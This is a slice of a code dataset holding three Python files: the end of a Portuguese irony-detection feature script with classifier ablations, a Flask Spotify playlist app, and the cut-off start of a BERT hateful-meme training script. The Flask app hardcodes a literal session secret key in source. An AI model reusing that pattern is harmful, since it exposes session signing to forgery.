( train_matrix.shape[0] , 1 ) )\n# test_features_adj = np.zeros( ( test_matrix.shape[0] , 1 ) )\n# test_features_noun = np.zeros( ( test_matrix.shape[0] , 1 ) )\n# test_features_verb = np.zeros( ( test_matrix.shape[0] , 1 ) )\n tagger_fast = pickle.load(tagger)\n for i in range( train_matrix.shape[0] ):\n sent_tagged = tagger_fast.tag(nltk.word_tokenize(train_texts[i]))\n sent_tagged = [w for w in sent_tagged if w[0] not in nltk.corpus.stopwords.words('portuguese')] #unicode(nltk.corpus.stopwords.words('portuguese'))]\n if len(sent_tagged)>0:\n train_features_adj[i,0] = len([tag for (word,tag) in sent_tagged if tag == 'ADJ']) / len(sent_tagged)\n train_features_noun[i,0] = len([tag for (word,tag) in sent_tagged if tag == 'NOUN']) / len(sent_tagged)\n train_features_verb[i,0] = len([tag for (word,tag) in sent_tagged if tag == 'VERB']) / len(sent_tagged)\n# for i in range( test_matrix.shape[0] ):\n# sent_tagged = tagger_fast.tag(nltk.word_tokenize(test_texts[i]))\n# sent_tagged = [w for w in sent_tagged if w[0] not in nltk.corpus.stopwords.words('portuguese')] #unicode(nltk.corpus.stopwords.words('portuguese'))]\n# if len(sent_tagged)>0:\n# test_features_adj[i,0] = len([tag for (word,tag) in sent_tagged if tag == 'ADJ']) / len(sent_tagged)\n# test_features_noun[i,0] = len([tag for (word,tag) in sent_tagged if tag == 'NOUN']) / len(sent_tagged)\n# test_features_verb[i,0] = len([tag for (word,tag) in sent_tagged if tag == 'VERB']) / len(sent_tagged)\n \n log.write(\"Computing Pairwise Distances...\\n\")\n with open(\"DATA/embedding_features.pkl\",\"rb\") as fid:\n u = pickle._Unpickler(fid)\n u.encoding = 'ISO-8859-1'\n wrd2idx, E = u.load()\n with open(\"DATA/StopWords_Ironia.txt\",\"rb\") as fid:\n stop_words = fid.read().split()\n train_features_dist_avg = np.zeros( ( train_matrix.shape[0] , 1 ) ) \n# test_features_dist_avg = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_dist_stdev = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_dist_stdev = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_dist_min = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_dist_min = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_dist_max = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_dist_max = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_dist_dif = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_dist_dif = np.zeros( ( test_matrix.shape[0] , 1 ) )\n for i in range( train_matrix.shape[0]):\n train_features_dist_avg[i,0], train_features_dist_stdev[i,0], train_features_dist_min[i,0], train_features_dist_max[i,0], train_features_dist_dif[i,0] = pairwise_distances(train_texts[i], wrd2idx, stop_words)\n# for i in range( test_matrix.shape[0]):\n# test_features_dist_avg[i,0], test_features_dist_stdev[i,0], test_features_dist_min[i,0], test_features_dist_max[i,0], test_features_dist_dif[i,0] = pairwise_distances(test_texts[i], wrd2idx, stop_words)\n# \n \n log.write(\"Computing PMI Title features...\\n\")\n # fazer pmi normalizado e pmi regular para titulo e body\n train_features_pmi_avg = np.zeros( ( train_matrix.shape[0] , 1 ) ) \n# test_features_pmi_avg = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pmi_stdev = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pmi_stdev = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pmi_min = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pmi_min = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pmi_max = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pmi_max = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pmi_dif = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pmi_dif = np.zeros( ( test_matrix.shape[0] , 1 ) )\n \n with open(\"DATA/_new_cooccurs_sapo_Title.pkl\",\"rb\") as fid:\n u = pickle._Unpickler(fid)\n u.encoding = 'utf-8'\n co_occurs = u.load()\n with open(\"DATA/_new_sentences_sapo_Title.pkl\",\"rb\") as fid:\n u = pickle._Unpickler(fid)\n u.encoding = 'utf-8'\n sent_dict = u.load() \n for i in range( train_matrix.shape[0] ):\n entities = getEntities(sent_dict,train_texts[i])\n pairwise_pmis = []\n entity_pairs = itertools.combinations(entities, 2) \n for e_a, e_b in entity_pairs:\n pairwise_pmis.append(pmi(e_a, e_b, co_occurs))\n if len(pairwise_pmis)>0:\n train_features_pmi_avg[i,0] = np.average( pairwise_pmis )\n train_features_pmi_stdev[i,0] = np.std( pairwise_pmis )\n train_features_pmi_min[i,0] = np.min( pairwise_pmis )\n train_features_pmi_max[i,0] = np.max( pairwise_pmis )\n# for i in range( test_matrix.shape[0] ):\n# entities = getEntities(sent_dict,test_texts[i])\n# pairwise_pmis = []\n# entity_pairs = itertools.combinations(entities, 2) \n# for e_a, e_b in entity_pairs:\n# pairwise_pmis.append(pmi(e_a, e_b, co_occurs))\n# if len(pairwise_pmis)>0: \n# test_features_pmi_avg[i,0] = np.average( pairwise_pmis )\n# test_features_pmi_stdev[i,0] = np.std( pairwise_pmis )\n# test_features_pmi_min[i,0] = np.min( pairwise_pmis )\n# test_features_pmi_max[i,0] = np.max( pairwise_pmis )\n \n log.write(\"Computing PMI body features...\\n\")\n # fazer pmi normalizado e pmi regular para titulo e body\n train_features_pmibody_avg = np.zeros( ( train_matrix.shape[0] , 1 ) ) \n# test_features_pmibody_avg = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pmibody_stdev = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pmibody_stdev = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pmibody_min = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pmibody_min = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pmibody_max = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pmibody_max = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pmibody_dif = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pmibody_dif = np.zeros( ( test_matrix.shape[0] , 1 ) )\n \n with open(\"DATA/_new_cooccurs_sapo_Body.pkl\",\"rb\") as fid:\n u = pickle._Unpickler(fid)\n u.encoding = 'utf-8'\n co_occurs = u.load()\n with open(\"DATA/_new_sentences_sapo_Body.pkl\",\"rb\") as fid:\n u = pickle._Unpickler(fid)\n u.encoding = 'utf-8'\n sent_dict = u.load() \n for i in range( train_matrix.shape[0] ):\n entities = getEntities(sent_dict,train_texts[i])\n pairwise_pmis = []\n entity_pairs = itertools.combinations(entities, 2) \n for e_a, e_b in entity_pairs:\n pairwise_pmis.append(pmi(e_a, e_b, co_occurs))\n if len(pairwise_pmis)>0:\n train_features_pmibody_avg[i,0] = np.average( pairwise_pmis )\n train_features_pmibody_stdev[i,0] = np.std( pairwise_pmis )\n train_features_pmibody_min[i,0] = np.min( pairwise_pmis )\n train_features_pmibody_max[i,0] = np.max( pairwise_pmis )\n# for i in range( test_matrix.shape[0] ):\n# entities = getEntities(sent_dict,test_texts[i])\n# pairwise_pmis = []\n# entity_pairs = itertools.combinations(entities, 2) \n# for e_a, e_b in entity_pairs:\n# pairwise_pmis.append(pmi(e_a, e_b, co_occurs))\n# if len(pairwise_pmis)>0: \n# test_features_pmibody_avg[i,0] = np.average( pairwise_pmis )\n# test_features_pmibody_stdev[i,0] = np.std( pairwise_pmis )\n# test_features_pmibody_min[i,0] = np.min( pairwise_pmis )\n# test_features_pmibody_max[i,0] = np.max( pairwise_pmis ) \n \n # features de PMI só de entidades\n log.write(\"Computing PMI NER Verbetes Body features...\\n\")\n # fazer pmi normalizado e pmi regular para titulo e body\n train_features_pminer_avg = np.zeros( ( train_matrix.shape[0] , 1 ) ) \n# test_features_pminer_avg = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pminer_stdev = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pminer_stdev = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pminer_min = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pminer_min = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pminer_max = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pminer_max = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pminer_dif = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pminer_dif = np.zeros( ( test_matrix.shape[0] , 1 ) )\n \n with open(\"DATA/_new_cooccurs_sapo_entities.pkl\",\"rb\") as fid:\n u = pickle._Unpickler(fid)\n u.encoding = 'utf-8'\n co_occurs = u.load()\n with open(\"DATA/_new_sentences_sapo_entities.pkl\",\"rb\") as fid:\n u = pickle._Unpickler(fid)\n u.encoding = 'utf-8'\n sent_dict = u.load() \n for i in range( train_matrix.shape[0] ):\n entities = getEntities(sent_dict,train_texts[i])\n pairwise_pmis = []\n entity_pairs = itertools.combinations(entities, 2) \n for e_a, e_b in entity_pairs:\n pairwise_pmis.append(pmi(e_a, e_b, co_occurs))\n if len(pairwise_pmis)>0:\n train_features_pminer_avg[i,0] = np.average( pairwise_pmis )\n train_features_pminer_stdev[i,0] = np.std( pairwise_pmis )\n train_features_pminer_min[i,0] = np.min( pairwise_pmis )\n train_features_pminer_max[i,0] = np.max( pairwise_pmis )\n# for i in range( test_matrix.shape[0] ):\n# entities = getEntities(sent_dict,test_texts[i])\n# pairwise_pmis = []\n# entity_pairs = itertools.combinations(entities, 2) \n# for e_a, e_b in entity_pairs:\n# pairwise_pmis.append(pmi(e_a, e_b, co_occurs))\n# if len(pairwise_pmis)>0: \n# test_features_pminer_avg[i,0] = np.average( pairwise_pmis )\n# test_features_pminer_stdev[i,0] = np.std( pairwise_pmis )\n# test_features_pminer_min[i,0] = np.min( pairwise_pmis )\n# test_features_pminer_max[i,0] = np.max( pairwise_pmis )\n \n # features de PMI só de entidades\n log.write(\"Computing PMI NER Verbetes Title features...\\n\")\n # fazer pmi normalizado e pmi regular para titulo e body\n train_features_pminer_title_avg = np.zeros( ( train_matrix.shape[0] , 1 ) ) \n# test_features_pminer_title_avg = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pminer_title_stdev = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pminer_title_stdev = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pminer_title_min = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pminer_title_min = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pminer_title_max = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pminer_title_max = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pminer_title_dif = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pminer_title_dif = np.zeros( ( test_matrix.shape[0] , 1 ) )\n \n with open(\"DATA/_new_cooccurs_sapo_entities_Title.pkl\",\"rb\") as fid:\n u = pickle._Unpickler(fid)\n u.encoding = 'utf-8'\n co_occurs = u.load()\n with open(\"DATA/_new_sentences_sapo_entities_Title.pkl\",\"rb\") as fid:\n u = pickle._Unpickler(fid)\n u.encoding = 'utf-8'\n sent_dict = u.load() \n for i in range( train_matrix.shape[0] ):\n entities = getEntities(sent_dict,train_texts[i])\n pairwise_pmis = []\n entity_pairs = itertools.combinations(entities, 2) \n for e_a, e_b in entity_pairs:\n pairwise_pmis.append(pmi(e_a, e_b, co_occurs))\n if len(pairwise_pmis)>0:\n train_features_pminer_title_avg[i,0] = np.average( pairwise_pmis )\n train_features_pminer_title_stdev[i,0] = np.std( pairwise_pmis )\n train_features_pminer_title_min[i,0] = np.min( pairwise_pmis )\n train_features_pminer_title_max[i,0] = np.max( pairwise_pmis )\n# for i in range( test_matrix.shape[0] ):\n# entities = getEntities(sent_dict,test_texts[i])\n# pairwise_pmis = []\n# entity_pairs = itertools.combinations(entities, 2) \n# for e_a, e_b in entity_pairs:\n# pairwise_pmis.append(pmi(e_a, e_b, co_occurs))\n# if len(pairwise_pmis)>0: \n# test_features_pminer_title_avg[i,0] = np.average( pairwise_pmis )\n# test_features_pminer_title_stdev[i,0] = np.std( pairwise_pmis )\n# test_features_pminer_title_min[i,0] = np.min( pairwise_pmis )\n# test_features_pminer_title_max[i,0] = np.max( pairwise_pmis ) \n \n \n # contraste na dimensão temporal\n # relevância de um dado termo num dado momento em contraste, procurando noticias na mesma data\n # excluir stopwords, usar só palavras de tf-idf mais alto\n \n train_features = np.hstack( ( train_features_semantic_vol, \n train_features_avg , train_features_stdev , train_features_min , \n train_features_max , train_features_dif , train_features_seq ,\n train_features_pos, train_features_neg , train_features_adj ,\n train_features_noun, train_features_verb, train_features_pmi_avg ,\n train_features_pmi_stdev, train_features_pmi_min, train_features_pmi_max , \n train_features_pmibody_avg , train_features_pmibody_stdev, train_features_pmibody_min , \n train_features_pmibody_max, train_features_pminer_avg , train_features_pminer_stdev ,\n train_features_pminer_min , train_features_pminer_max, train_features_pminer_title_avg ,\n train_features_pminer_title_stdev , train_features_pminer_title_min , train_features_pminer_title_max, \n train_features_dist_avg , train_features_dist_stdev, train_features_dist_min, train_features_dist_max, \n train_features_dist_dif, train_features_vc_w1, train_features_vc_w2, train_features_vc_w3, \n train_features_vc_w4, train_features_vc_w5, train_features_ac_w1, \n train_features_ac_w2, train_features_ac_w3, train_features_ac_w4,\n train_features_ac_w5) )\n \n #dicionaty of the position of features on the feature matrix so that removal can be easier\n features_dict = {'train_features_semantic_vol':0,\n 'train_features_avg':[1,2,3],'train_features_stdev':[4,5,6], 'train_features_min':[7,8,9],\n 'train_features_max':[10,11,12], 'train_features_dif':[13,14,15], 'train_features_seq':[16,17],\n 'train_features_pos':18, 'train_features_neg':19, 'train_features_adj':20,\n 'train_features_noun': 21, 'train_features_verb':22, 'train_features_pmi_avg':23,\n 'train_features_pmi_stdev': 24, 'train_features_pmi_min': 25, 'train_features_pmi_max':26,\n 'train_features_pmibody_avg': 27, 'train_features_pmibody_stdev': 28, 'train_features_pmibody_min':29,\n 'train_features_pmibody_max': 30, 'train_features_pminer_avg': 31, 'train_features_pminer_stdev':32,\n 'train_features_pminer_min':33, 'train_features_pminer_max': 34, 'train_features_pminer_title_avg': 35, \n 'train_features_pminer_title_stdev': 36, 'train_features_pminer_title_min': 37, 'train_features_pminer_title_max': 38,\n 'train_features_dist_avg': 39, 'train_features_dist_stdev': 40, 'train_features_dist_min': 41, 'train_features_dist_max': 42,\n 'train_features_dist_dif': 43, 'train_features_vc_w1': 44, 'train_features_vc_w2': 45, 'train_features_vc_w3': 46,\n 'train_features_vc_w4': 47, 'train_features_vc_w5': 48, 'train_features_ac_w1': 49, \n 'train_features_ac_w2': 50, 'train_features_ac_w3': 51, 'train_features_ac_w4': 52,\n 'train_features_ac_w5': 53}\n \n# test_features = np.hstack( ( test_features_avg , test_features_stdev , test_features_min , \n# test_features_max , test_features_dif , test_features_seq ,\n# test_features_pos, test_features_neg , test_features_adj ,\n# test_features_noun, test_features_verb, test_features_pmi_avg ,\n# test_features_pmi_stdev, test_features_pmi_min, test_features_pmi_max , \n# test_features_pmibody_avg , test_features_pmibody_stdev, test_features_pmibody_min , \n# test_features_pmibody_max, test_features_pminer_avg , test_features_pminer_stdev ,\n# test_features_pminer_title_avg , test_features_pminer_title_stdev ,\n# test_features_pminer_title_min , test_features_pminer_title_max,\n# test_features_pminer_title_min , test_features_pminer_title_max, test_features_dist_avg , \n# test_features_dist_stdev, test_features_dist_min, test_features_dist_max, \n# test_features_dist_dif, test_features_vc_w1, test_features_vc_w2, test_features_vc_w3, \n# test_features_vc_w4, test_features_vc_w5, test_features_ac_w1, \n# test_features_ac_w2, test_features_ac_w3, test_features_ac_w4,\n# test_features_ac_w5) )\n \n train_labels = np.array(train_labels)\n #test_labels = np.array(test_labels)\n \n sets = kfolds(10,len(train_labels),val_set=True,shuffle=False)\n \n classify(sets, \"with binary bag-of-words features\", classifier = 'svm')\n classify(sets, \"with binary bag-of-words features\", classifier = 'regr')\n\n classify(sets, \"with EXTRA features\" , classifier = 'svm', extra = train_features, coef_flag=True, num_feat = train_features.shape[1] )\n classify(sets, \"with EXTRA features\" , classifier = 'regr', extra = train_features, coef_flag=True, num_feat = train_features.shape[1] )\n \n removed_arr = [features_dict['train_features_vc_w1'],features_dict['train_features_vc_w2'],features_dict['train_features_vc_w3'],\n features_dict['train_features_vc_w4'],features_dict['train_features_vc_w5'],features_dict['train_features_ac_w1'],\n features_dict['train_features_ac_w2'],features_dict['train_features_ac_w3'],features_dict['train_features_ac_w4'],\n features_dict['train_features_ac_w5']]\n removed = np.delete(train_features, removed_arr, axis=1)\n classify(sets, \"with EXTRA features but without affective contrast\" , classifier = 'svm', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n classify(sets, \"with EXTRA features but without affective contrast\" , classifier = 'regr', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n \n removed_arr = features_dict['train_features_avg']+features_dict['train_features_stdev']+features_dict['train_features_min']+features_dict['train_features_max']+features_dict['train_features_dif']+features_dict['train_features_seq']\n removed = np.delete(train_features, removed_arr, axis=1)\n classify(sets, \"with EXTRA features but without affective dimensions and polarity information\" , classifier = 'svm', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n classify(sets, \"with EXTRA features but without affective dimensions and polarity information\" , classifier = 'regr', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n \n removed_arr = [features_dict['train_features_adj'],features_dict['train_features_verb'],features_dict['train_features_noun']]\n removed = np.delete(train_features, removed_arr, axis=1)\n classify(sets, \"with EXTRA features but without PoS representativeness\" , classifier = 'svm', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n classify(sets, \"with EXTRA features but without PoS representativeness\" , classifier = 'regr', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n \n removed_arr = [features_dict['train_features_pos'],features_dict['train_features_neg']]\n removed = np.delete(train_features, removed_arr, axis=1)\n classify(sets, \"with EXTRA features but without polarity information\" , classifier = 'svm', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n classify(sets, \"with EXTRA features but without polarity information\" , classifier = 'regr', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n \n removed_arr = [features_dict['train_features_pmi_avg'],features_dict['train_features_pmi_stdev'],features_dict['train_features_pmi_min'],features_dict['train_features_pmi_max']]\n removed = np.delete(train_features, removed_arr, axis=1)\n classify(sets, \"with EXTRA features but without Contrast between nouns and entities in headlines\" , classifier = 'svm', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n classify(sets, \"with EXTRA features but without Contrast between nouns and entities in headlines\" , classifier = 'regr', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n \n removed_arr = [features_dict['train_features_pmibody_avg'],features_dict['train_features_pmibody_stdev'],features_dict['train_features_pmibody_min'],features_dict['train_features_pmibody_max']]\n removed = np.delete(train_features, removed_arr, axis=1)\n classify(sets, \"with EXTRA features but without Contrast between nouns and entities in news articles\" , classifier = 'svm', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n classify(sets, \"with EXTRA features but without Contrast between nouns and entities in news articles\" , classifier = 'regr', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n \n removed_arr = [features_dict['train_features_pminer_avg'],features_dict['train_features_pminer_stdev'],features_dict['train_features_pminer_min'],features_dict['train_features_pminer_max']]\n removed = np.delete(train_features, removed_arr, axis=1)\n classify(sets, \"with EXTRA features but without Contrast between entities in news articles\" , classifier = 'svm', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n classify(sets, \"with EXTRA features but without Contrast between entities in news articles\" , classifier = 'regr', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n \n removed_arr = [features_dict['train_features_pminer_title_avg'],features_dict['train_features_pminer_title_stdev'],features_dict['train_features_pminer_title_min'],features_dict['train_features_pminer_title_max']]\n removed = np.delete(train_features, removed_arr, axis=1)\n classify(sets, \"with EXTRA features but without Contrast between entities in headlines\" , classifier = 'svm', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n classify(sets, \"with EXTRA features but without Contrast between entities in headlines\" , classifier = 'regr', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n \n removed_arr = [features_dict['train_features_dist_avg'],features_dict['train_features_dist_stdev'],\n features_dict['train_features_dist_min'],features_dict['train_features_dist_max'],\n features_dict['train_features_dist_dif']]\n removed = np.delete(train_features, removed_arr, axis=1)\n classify(sets, \"with EXTRA features but without Semantic Distance\" , classifier = 'svm', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n classify(sets, \"with EXTRA features but without Semantic Distance\" , classifier = 'regr', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n \n removed_arr = [features_dict['train_features_semantic_vol']]\n removed = np.delete(train_features, removed_arr, axis=1)\n classify(sets, \"with EXTRA features but without Semantic Volume\" , classifier = 'svm', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n classify(sets, \"with EXTRA features but without Semantic Volume\" , classifier = 'regr', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n \n\nexcept Exception as e:\n exc_type, exc_obj, exc_tb = sys.exc_info()\n fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]\n log.write('ERROR ' + str(exc_type) + ',' + str(exc_obj) + ',' +fname+',' + str(exc_tb.tb_lineno)+'\\n')\n log.close()\nlog.close()","sub_path":"code/feature_eng_imparity.py","file_name":"feature_eng_imparity.py","file_ext":"py","file_size_in_byte":53649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"186873349","text":"## MIXTAPE\n## ===============================================\n\nimport mixtape\n\nfrom flask import Flask\nfrom flask import redirect, render_template, request\nfrom flask import session\nfrom flask import url_for\n\napp = Flask(\"mixtape\")\napp.secret_key = \"=\\xe4|\\x90\\xe9\\x1d\\xdd0o]\\xcb\\xf8\\x0e/\\xbfWmk\\x07n\\xee\\x1e\\xc6%\"\n\n@app.route(\"/\")\ndef root():\n return render_template(\"landing-page.html\")\n\n@app.route(\"/login\")\ndef login():\n return redirect(mixtape.spotify_login_url())\n\n@app.route(\"/logout\")\ndef logout():\n del session[\"user-id\"]\n return redirect(url_for(\"root\"))\n\n@app.route(\"/loggedin\")\ndef loggedin():\n if request.args.get(\"error\", None) is not None:\n # The user has decided not to accept the scopes\n return redirect(url_for(\"root\"))\n\n # This is the authorization code to be used when\n # requesting access and refresh tokens\n _code = request.args.get(\"code\")\n\n # Populate the session object with access and refresh tokens\n mixtape.authorization_code(session, _code)\n mixtape.client_credentials(session)\n\n # and user info\n userid = mixtape.me(session)\n return redirect(url_for(\"rec\", userid = userid))\n\n@app.route(\"/search/\")\ndef search(query):\n mixtape.me(session)\n n, result = mixtape.search(session, query.encode(\"utf8\"))\n if n < 0:\n return render_template(\"message.html\",\n message = result)\n\n return render_template(\"search.html\",\n tracks = result)\n\n@app.route(\"/recommend/\")\ndef recommend(track):\n mixtape.me(session)\n limit = request.args.get(\"limit\", None)\n n, result = mixtape.recommend(session,\n limit,\n track.encode(\"utf8\"))\n if n < 0:\n return render_template(\"message.html\",\n message = result)\n\n return render_template(\"playlist.html\",\n track = track,\n tracks = result)\n\n@app.route(\"/save-playlist\", methods = [\"POST\"])\ndef save_playlist():\n length = mixtape.save_playlist(session, request)\n if length < 0:\n return redirect(url_for(\"error\"));\n\n return render_template(\"ok.html\",\n length = length)\n\n@app.route(\"/rec/\")\ndef rec(userid = None):\n return render_template(\"mixtape.html\")\n\n@app.route(\"/error\")\ndef error():\n return render_template(\"error.html\")\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"244349466","text":"#\n#PLEASE SEE JUNYPER NOTEBOOK, THE TRAINING CODE THERE IS COMPLETE\n#\n# based on https://towardsdatascience.com/bert-for-dummies-step-by-step-tutorial-fb90890ffe03\n# verify GPU availability\n############################################################################################################\n########################################## BERT TRAINING MODULE ############################################\n############################################################################################################\n\n#PLEASE SEE FUSE_BERT_RESNET.PY FOR THE TESTIN GIMPLEMNENTATION\n\nimport tensorflow as tf\n\n#import sys\n# insert at 1, 0 is the script path (or '' in REPL)\n#sys.path.insert(1, '../resnet/')\n#import resnet152_config as config\n\n# BERT imports\nimport torch\nfrom torch.utils.data import TensorDataset, DataLoader, RandomSampler, SequentialSampler\nfrom keras.preprocessing.sequence import pad_sequences\nfrom sklearn.model_selection import train_test_split\n#from transformers import BertModel, BertConfig\n#from transformers import BertTokenizer, BertForPreTraining, BertForSequenceClassification\nfrom pytorch_pretrained_bert import BertTokenizer, BertConfig\nfrom pytorch_pretrained_bert import BertAdam, BertForMaskedLM, BertForPreTraining, BertForSequenceClassification, BertForTokenClassification, BertModel\n#from pytorch_pretrained_bert import BertAdam\nfrom tqdm import tqdm, trange\nimport pandas as pd\nimport io\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport json\n\n# matplotlib inline\nimport enum\n# Using enum class create enumerations\n\n############################################################################################################\n################################################ UTILITIES #################################################\n############################################################################################################\nclass GET_TOKENIZER_DATA(enum.Enum):\n TRAINING = 1\n VALIDATION = 2\n TESTING = 3\n\n\ndef checkGPU():\n device_name = tf.test.gpu_device_name()\n if device_name != '/device:GPU:0':\n raise SystemError('GPU device not found')\n print('Found GPU at: {}'.format(device_name))\n\n\ndef specifyDevice():\n device = torch.device(\"cpu\")\n n_gpu = 0\n # device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n #n_gpu = torch.cuda.device_count()\n # torch.cuda.get_device_name(0)\n return device, n_gpu\n\n##BERT TOKENIZER FUNCITON\ndef getTokenizer(type):\n if(type == GET_TOKENIZER_DATA.TRAINING):\n with open(\"../../data/dev.jsonl\") as f:\n lines = f.readlines()\n labels = [json.loads(x)['label'] for x in lines]\n ids = [json.loads(x)['id'] for x in lines]\n bert_lines = [\"[CLS] \" + json.loads(x)['text'] + \" [SEP]\" for x in lines]\n elif(type == GET_TOKENIZER_DATA.VALIDATION):\n with open(\"../../data/dev.jsonl\") as f:\n lines = f.readlines()\n labels = [json.loads(x)['label'] for x in lines]\n ids = [json.loads(x)['id'] for x in lines]\n bert_lines = [\"[CLS] \" + json.loads(x)['text'] + \" [SEP]\" for x in lines]\n\n tokenizer = BertTokenizer.from_pretrained('bert-base-uncased', do_lower_case=True)\n tokenized_texts = [tokenizer.tokenize(sent) for sent in bert_lines]\n print(\"Tokenize the first sentence:\")\n print(tokenized_texts[0])\n\n # Set the maximum sequence length.\n MAX_LEN = 128\n # Pad our input tokens\n input_ids = pad_sequences([tokenizer.convert_tokens_to_ids(txt) for txt in tokenized_texts],\n maxlen=MAX_LEN, dtype=\"long\", truncating=\"post\", padding=\"post\")\n # Use the BERT tokenizer to convert the tokens to their index numbers in the BERT vocabulary\n input_ids = [tokenizer.convert_tokens_to_ids(x) for x in tokenized_texts]\n input_ids = pad_sequences(input_ids, maxlen=MAX_LEN, dtype=\"long\", truncating=\"post\", padding=\"post\")\n\n # Create attention masks\n attention_masks = []\n # Create a mask of 1s for each token followed by 0s for padding\n for seq in input_ids:\n seq_mask = [float(i > 0) for i in seq]\n attention_masks.append(seq_mask)\n return attention_masks, input_ids, labels, ids, len(labels)\n\n#BERT. INPUT TENSORS\ndef create_tensors_for_tuning():\n\n # lets create variables for training testing and validation\n attention_masks, input_ids, labels, ids, nb_labels = getTokenizer(GET_TOKENIZER_DATA.TRAINING)\n train_inputs = torch.tensor(input_ids)\n train_labels = torch.tensor(labels)\n train_masks = torch.tensor(attention_masks)\n batch_size = 32\n\n # Create an iterator of our data with torch DataLoader\n train_data = TensorDataset(train_inputs, train_masks, train_labels)\n train_sampler = RandomSampler(train_data)\n train_dataloader = DataLoader(train_data, sampler=train_sampler, batch_size=batch_size)\n\n # validation_data = TensorDataset(validation_inputs, validation_masks, validation_labels)\n # validation_sampler = SequentialSampler(validation_data)\n # validation_dataloader = DataLoader(validation_data, sampler=validation_sampler, batch_size=batch_size)\n #GET OUT TRAINED MODEL\n model = BertFineTunningTraining(train_data, train_sampler, train_dataloader, nb_labels)\n\n #BertTesting(model,validation_data, validation_sampler, validation_dataloader);\n # model.save_pretrained('hateful_meme_text.model')\n # saving model\n # Step 1: Save a model, configuration and vocabulary that you have fine-tuned\n\n # If we have a distributed model, save only the encapsulated model\n # (it was wrapped in PyTorch DistributedDataParallel or DataParallel)\n output_model_file = \"../models/hateful_meme.bin\"\n output_config_file = \"../models/hateful_meme_config_file.bin\"\n output_vocab_file = \"../models/my_own_vocab_file.bin\"\n model_to_save = model.module if hasattr(model, 'module') else model\n\n #torch.save(model_to_save.state_dict(), output_model_file)\n # model_to_save.config.to_json_file(output_config_file)\n # tokenizer.save_vocabulary(output_vocab_file)\n# Load BertForSequenceClassification, the pretrained BERT model with a single linear classification layer on top.\n\n##MY IMPLEMENTATION TO PRODICTIONS\ndef flat_accuracy(preds, labels):\n print(\"predictions\")\n # there will be len(preds) == 32 for batch, each one containing [probability of 0, probability of 1]\n # here i will need to store this array and comapre the probaility\n #\n pred_flat = np.argmax(preds, axis=1).flatten()\n labels_flat = labels.flatten()\n return np.sum(pred_flat == labels_flat) / len(labels_flat)\n\n# def BertFineTunningTraining(train_data, train_sampler, train_dataloader, validation_data, validation_sampler, validation_dataloader, nb_labels):\n############################################################################################################\n############################################## TRAINING ###################################################\n############################################################################################################\ndef BertFineTunningTraining(train_data, train_sampler, train_dataloader, nb_labels):\n\n model = 